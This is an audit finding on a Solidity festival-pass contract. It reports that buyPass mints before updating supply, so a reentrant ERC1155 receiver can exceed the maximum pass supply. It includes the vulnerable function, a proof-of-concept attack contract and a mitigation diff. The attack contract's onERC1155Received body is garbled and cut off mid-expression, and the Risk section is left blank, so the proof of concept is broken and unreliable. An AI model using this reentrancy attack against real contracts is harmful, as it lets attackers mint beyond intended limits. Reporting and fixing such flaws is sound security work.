Function FestivalPass:buyPass Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply
Description
- 
Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. 
- 
The function FestivalPass:buyPassdoes not follow the Checks-Effects-Interactions pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit.
 
	function buyPass(uint256 collectionId) external payable {
		
		require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
		
		require(msg.value == passPrice[collectionId], "Incorrect payment amount");
		require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
		
@>		_mint(msg.sender, collectionId, 1, ""); 
		++passSupply[collectionId];
		
		uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
		if (bonus > 0) {
			
			BeatToken(beatToken).mint(msg.sender, bonus);
		}
		emit PassPurchased(msg.sender, collectionId);
	}
Risk
Likelihood:
Impact:
Proof of Concept
pragma solidity 0.8.25;
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "../src/FestivalPass.sol";
import "./FestivalPass.t.sol";
import {console} from "forge-std/Test.sol";
contract AttackBuyPass{
	address immutable onlyOnwer;
	FestivalPassTest immutable festivalPassTest;
	FestivalPass immutable festivalPass;
	uint256 immutable collectionId;
	uint256 immutable configPassPrice;
	uint256 immutable configPassMaxSupply;
	
	uint256 hackMintCount = 0;
	
	constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable {
		onlyOnwer = msg.sender;
		
		festivalPassTest = _festivalPassTest;
		festivalPass = _festivalPass;
		collectionId = _collectionId;
		configPassPrice = _configPassPrice;
		configPassMaxSupply = _configPassMaxSupply;
	
		hackMintCount = 1;
	}
	
	receive() external payable {}
	fallback() external payable {}
	
	function DoAttackBuyPass() public {
		require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer");
	
		
		festivalPass.buyPass{value: configPassPrice}(collectionId);
	}
	
	function onERC1155Received(
		address operator,
		address from,
		uint256 id,
		uint256 value,
		bytes calldata data
	) external returns (bytes4){
		if (hackMintCount  festivalPass.passMaxSupply(targetPassId));
	}
}
```
Recommended Mitigation
    function buyPass(uint256 collectionId) external payable {
        // Must be valid pass ID (1 or 2 or 3)
        require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
        // Check payment and supply
        require(msg.value == passPrice[collectionId], "Incorrect payment amount");
        require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
        // Mint 1 pass to buyer
-        _mint(msg.sender, collectionId, 1, ""); 
        ++passSupply[collectionId];
+        emit PassPurchased(msg.sender, collectionId);        
+        _mint(msg.sender, collectionId, 1, "");        
        // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus
        uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
        if (bonus > 0) {
            // Mint BEAT tokens to buyer
            BeatToken(beatToken).mint(msg.sender, bonus);
        }
-        emit PassPurchased(msg.sender, collectionId);
    }